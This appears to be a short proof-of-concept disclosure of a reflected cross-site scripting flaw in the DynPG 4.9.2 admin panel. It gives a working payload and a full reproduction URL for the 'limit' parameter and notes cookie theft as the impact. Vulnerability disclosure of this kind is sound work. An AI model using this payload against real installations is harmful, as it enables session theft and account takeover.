POC / DynPG 4.9.2 XSS via limit parameter

xoffense Update DynPG 4.9.2 XSS via limit parameter History

1 contributor

19 lines (16 sloc) | 982 Bytes

```
Description

A cross-site scripting (XSS) issue in the DynPG admin login panel version 4.9.2 allows remote attackers to inject JavaScript via the "limit" Parameter
___
XSS Payload: %27"--></style></scRipt><scRipt>alert(2)</scRipt>
___
Vulnerable Parameter: limit
___
Steps to Reproduce the Issue:

1- Login to DynPG admin panel
2- Paste below POC:
https://localhost/dynpg/backendpopup/popup.php?limit=%27"--></style></scRipt><scRipt>alert(2)</scRipt>&orderby=3&page=3&popUpResource=images&query=3&refID=3&returnCall=3&sort=3&val
As you can see, XSS is triggered.

Video POC: https://drive.google.com/file/d/1qGZ7tOcQEbbqvD3MzFbuEGTX4_zmxl2E/view?usp=sharing
___
Impact
With the help of xss attacker can perform social engineering on users by redirecting them from real website to fake one. Attacker can steal their cookies leading to account takeove
```